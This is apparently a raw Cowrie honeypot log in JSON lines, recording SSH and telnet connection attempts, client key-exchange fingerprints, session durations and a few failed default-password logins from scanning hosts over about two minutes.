{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:26.329448Z","src_ip":"2.57.122.238","session":"cd6bb6ea3f06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:26.639363Z","src_ip":"2.57.122.238","session":"cd6bb6ea3f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49962,"dst_ip":"10.17.0.5","dst_port":23,"session":"c00eeed10e17","protocol":"telnet","message":"New connection: 206.189.32.23:49962 (10.17.0.5:23) [session: c00eeed10e17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:27.122688Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:27.745520Z","src_ip":"2.57.122.238","session":"cd6bb6ea3f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51024,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5611659f578","protocol":"telnet","message":"New connection: 162.55.233.176:51024 (159.203.135.109:23) [session: a5611659f578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:28.720358Z"}
{"eventid":"cowrie.session.closed","duration":30.548120498657227,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:29.150507Z","src_ip":"162.55.233.176","session":"7f051b7ffa7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51036,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb317dbceebf","protocol":"telnet","message":"New connection: 162.55.233.176:51036 (159.203.135.109:23) [session: cb317dbceebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:29.975114Z"}
{"eventid":"cowrie.session.closed","duration":14.036041498184204,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:31.888911Z","src_ip":"190.83.114.49","session":"8b5134cefcc4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46508,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e8c0faa70a6","protocol":"telnet","message":"New connection: 162.55.233.176:46508 (159.203.135.109:23) [session: 7e8c0faa70a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:35.049709Z"}
{"eventid":"cowrie.session.closed","duration":30.972131729125977,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:36.098255Z","src_ip":"162.55.233.176","session":"41ee4f325d0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.847010135650635,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:39.857704Z","src_ip":"162.55.233.176","session":"998c224eee4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":59474,"dst_ip":"10.17.0.5","dst_port":23,"session":"5cd58079c674","protocol":"telnet","message":"New connection: 206.189.32.23:59474 (10.17.0.5:23) [session: 5cd58079c674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:41.098490Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46512,"dst_ip":"159.203.135.109","dst_port":23,"session":"df530140082a","protocol":"telnet","message":"New connection: 162.55.233.176:46512 (159.203.135.109:23) [session: df530140082a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:42.430441Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58954,"dst_ip":"10.17.0.5","dst_port":23,"session":"86cf5b7914a2","protocol":"telnet","message":"New connection: 206.189.32.23:58954 (10.17.0.5:23) [session: 86cf5b7914a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:42.434542Z"}
{"eventid":"cowrie.session.closed","duration":2.298672676086426,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:44.733125Z","src_ip":"206.189.32.23","session":"86cf5b7914a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.477391481399536,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:49.912947Z","src_ip":"206.189.32.23","session":"77625610f323","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43462,"dst_ip":"10.17.0.5","dst_port":23,"session":"445ee503f5c0","protocol":"telnet","message":"New connection: 206.189.32.23:43462 (10.17.0.5:23) [session: 445ee503f5c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:53.577354Z"}
{"eventid":"cowrie.session.closed","duration":43.8465690612793,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:56.494411Z","src_ip":"188.208.141.113","session":"8cf0bed39843","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51554,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddc506dcde4a","protocol":"telnet","message":"New connection: 206.189.32.23:51554 (10.17.0.5:23) [session: ddc506dcde4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:17:59.122363Z"}
{"eventid":"cowrie.session.closed","duration":36.4423987865448,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:00.791202Z","src_ip":"162.55.233.176","session":"df29865978b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45192,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a3ab8790445","protocol":"telnet","message":"New connection: 162.55.233.176:45192 (159.203.135.109:23) [session: 8a3ab8790445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:02.566779Z"}
{"eventid":"cowrie.session.closed","duration":33.9700882434845,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:02.690222Z","src_ip":"162.55.233.176","session":"a5611659f578","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36454,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ac1805aa45e","protocol":"telnet","message":"New connection: 162.55.233.176:36454 (159.203.135.109:23) [session: 2ac1805aa45e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:04.135339Z"}
{"eventid":"cowrie.session.closed","duration":35.801780700683594,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:05.776772Z","src_ip":"162.55.233.176","session":"cb317dbceebf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32606267929077,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:06.375676Z","src_ip":"162.55.233.176","session":"7e8c0faa70a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44032,"dst_ip":"159.203.135.109","dst_port":23,"session":"edc699407bc0","protocol":"telnet","message":"New connection: 162.55.233.176:44032 (159.203.135.109:23) [session: edc699407bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:13.248719Z"}
{"eventid":"cowrie.session.closed","duration":31.380709409713745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:13.811019Z","src_ip":"162.55.233.176","session":"df530140082a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.1874783039093,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:14.310071Z","src_ip":"206.189.32.23","session":"c00eeed10e17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44042,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a6375e84bcc","protocol":"telnet","message":"New connection: 162.55.233.176:44042 (159.203.135.109:23) [session: 2a6375e84bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:14.347299Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36138,"dst_ip":"10.17.0.5","dst_port":23,"session":"00eaf135c915","protocol":"telnet","message":"New connection: 206.189.32.23:36138 (10.17.0.5:23) [session: 00eaf135c915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:14.661629Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40844,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0a7d20c60d","protocol":"telnet","message":"New connection: 188.208.141.113:40844 (10.17.0.5:23) [session: 6d0a7d20c60d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:16.219105Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37060,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5806b21eea7","protocol":"telnet","message":"New connection: 206.189.32.23:37060 (10.17.0.5:23) [session: c5806b21eea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:16.779379Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39598,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab451d2997df","protocol":"telnet","message":"New connection: 206.189.32.23:39598 (10.17.0.5:23) [session: ab451d2997df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:20.026814Z"}
{"eventid":"cowrie.session.closed","duration":46.212716579437256,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:27.311098Z","src_ip":"206.189.32.23","session":"5cd58079c674","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.026561737060547,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:33.593216Z","src_ip":"162.55.233.176","session":"8a3ab8790445","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.371959924697876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:35.507199Z","src_ip":"162.55.233.176","session":"2ac1805aa45e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":54056,"dst_ip":"159.203.135.109","dst_port":23,"session":"c82822eda302","protocol":"telnet","message":"New connection: 162.55.233.176:54056 (159.203.135.109:23) [session: c82822eda302]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:38.210094Z"}
{"eventid":"cowrie.session.closed","duration":47.742384910583496,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:41.319635Z","src_ip":"206.189.32.23","session":"445ee503f5c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39596,"dst_ip":"159.203.135.109","dst_port":23,"session":"583374f0c6d6","protocol":"telnet","message":"New connection: 162.55.233.176:39596 (159.203.135.109:23) [session: 583374f0c6d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:43.847179Z"}
{"eventid":"cowrie.session.closed","duration":31.288127183914185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:44.536731Z","src_ip":"162.55.233.176","session":"edc699407bc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.65873384475708,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:44.780988Z","src_ip":"206.189.32.23","session":"ddc506dcde4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42924,"dst_ip":"10.17.0.5","dst_port":23,"session":"14af88256770","protocol":"telnet","message":"New connection: 188.208.141.113:42924 (10.17.0.5:23) [session: 14af88256770]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:45.160492Z"}
{"eventid":"cowrie.session.closed","duration":31.012421369552612,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:45.359635Z","src_ip":"162.55.233.176","session":"2a6375e84bcc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42926,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cefbd7c22e8","protocol":"telnet","message":"New connection: 188.208.141.113:42926 (10.17.0.5:23) [session: 8cefbd7c22e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:48.606920Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39604,"dst_ip":"159.203.135.109","dst_port":23,"session":"0cac6f00503e","protocol":"telnet","message":"New connection: 162.55.233.176:39604 (159.203.135.109:23) [session: 0cac6f00503e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:52.622577Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39012,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f836b5828c9","protocol":"telnet","message":"New connection: 162.55.233.176:39012 (159.203.135.109:23) [session: 9f836b5828c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:55.941994Z"}
{"eventid":"cowrie.session.closed","duration":42.66327953338623,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:57.324787Z","src_ip":"206.189.32.23","session":"00eaf135c915","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.96535658836365,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:57.744646Z","src_ip":"206.189.32.23","session":"c5806b21eea7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39016,"dst_ip":"159.203.135.109","dst_port":23,"session":"a89fcf76d754","protocol":"telnet","message":"New connection: 162.55.233.176:39016 (159.203.135.109:23) [session: a89fcf76d754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:59.192466Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":53700,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cdced0e5662","protocol":"telnet","message":"New connection: 188.208.141.113:53700 (10.17.0.5:23) [session: 9cdced0e5662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:59.196344Z"}
{"eventid":"cowrie.session.closed","duration":39.274213790893555,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:18:59.300937Z","src_ip":"206.189.32.23","session":"ab451d2997df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39032,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e98036640b2","protocol":"telnet","message":"New connection: 162.55.233.176:39032 (159.203.135.109:23) [session: 5e98036640b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:01.581409Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52730,"dst_ip":"10.17.0.5","dst_port":23,"session":"feb29e99a2a4","protocol":"telnet","message":"New connection: 206.189.32.23:52730 (10.17.0.5:23) [session: feb29e99a2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:02.989982Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":51306,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f394f7ce1d6","protocol":"telnet","message":"New connection: 206.189.32.23:51306 (10.17.0.5:23) [session: 8f394f7ce1d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:04.980951Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":33620,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2b69d3cab5f","protocol":"telnet","message":"New connection: 162.55.233.176:33620 (159.203.135.109:23) [session: b2b69d3cab5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:06.998142Z"}
{"eventid":"cowrie.session.closed","duration":50.914000511169434,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:07.133013Z","src_ip":"188.208.141.113","session":"6d0a7d20c60d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52924,"dst_ip":"10.17.0.5","dst_port":23,"session":"32fb15f5f411","protocol":"telnet","message":"New connection: 188.208.141.113:52924 (10.17.0.5:23) [session: 32fb15f5f411]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:08.792657Z"}
{"eventid":"cowrie.session.closed","duration":32.088510513305664,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:15.935560Z","src_ip":"162.55.233.176","session":"583374f0c6d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.170.173.26","src_port":53723,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c3edd6e3aff","protocol":"ssh","message":"New connection: 103.170.173.26:53723 (159.203.135.109:22) [session: 5c3edd6e3aff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:19.274026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:19.278579Z","src_ip":"103.170.173.26","session":"5c3edd6e3aff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:19.553272Z","src_ip":"103.170.173.26","session":"5c3edd6e3aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":34954,"dst_ip":"159.203.135.109","dst_port":23,"session":"710e8722ad6a","protocol":"telnet","message":"New connection: 162.55.233.176:34954 (159.203.135.109:23) [session: 710e8722ad6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:19.901768Z"}
{"eventid":"cowrie.session.closed","duration":42.14780879020691,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:20.357788Z","src_ip":"162.55.233.176","session":"c82822eda302","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftp_user","password":"123","message":"login attempt [ftp_user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:20.682429Z","src_ip":"103.170.173.26","session":"5c3edd6e3aff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:21.959014Z","src_ip":"103.170.173.26","session":"5c3edd6e3aff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":40450,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd5992ce88b3","protocol":"telnet","message":"New connection: 206.189.32.23:40450 (10.17.0.5:23) [session: cd5992ce88b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:22.033957Z"}
{"eventid":"cowrie.session.closed","duration":30.969967126846313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:23.592409Z","src_ip":"162.55.233.176","session":"0cac6f00503e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.13105225563049,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:27.291403Z","src_ip":"188.208.141.113","session":"14af88256770","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":50572,"dst_ip":"10.17.0.5","dst_port":23,"session":"6734aabe3c75","protocol":"telnet","message":"New connection: 206.189.32.23:50572 (10.17.0.5:23) [session: 6734aabe3c75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:29.478135Z"}
{"eventid":"cowrie.session.closed","duration":33.78685784339905,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:29.728768Z","src_ip":"162.55.233.176","session":"9f836b5828c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":57432,"dst_ip":"159.203.135.109","dst_port":23,"session":"50f7925d6860","protocol":"telnet","message":"New connection: 162.55.233.176:57432 (159.203.135.109:23) [session: 50f7925d6860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:31.583571Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54644,"dst_ip":"10.17.0.5","dst_port":23,"session":"6090c19cbf2e","protocol":"telnet","message":"New connection: 206.189.32.23:54644 (10.17.0.5:23) [session: 6090c19cbf2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:19:33.282873Z"}
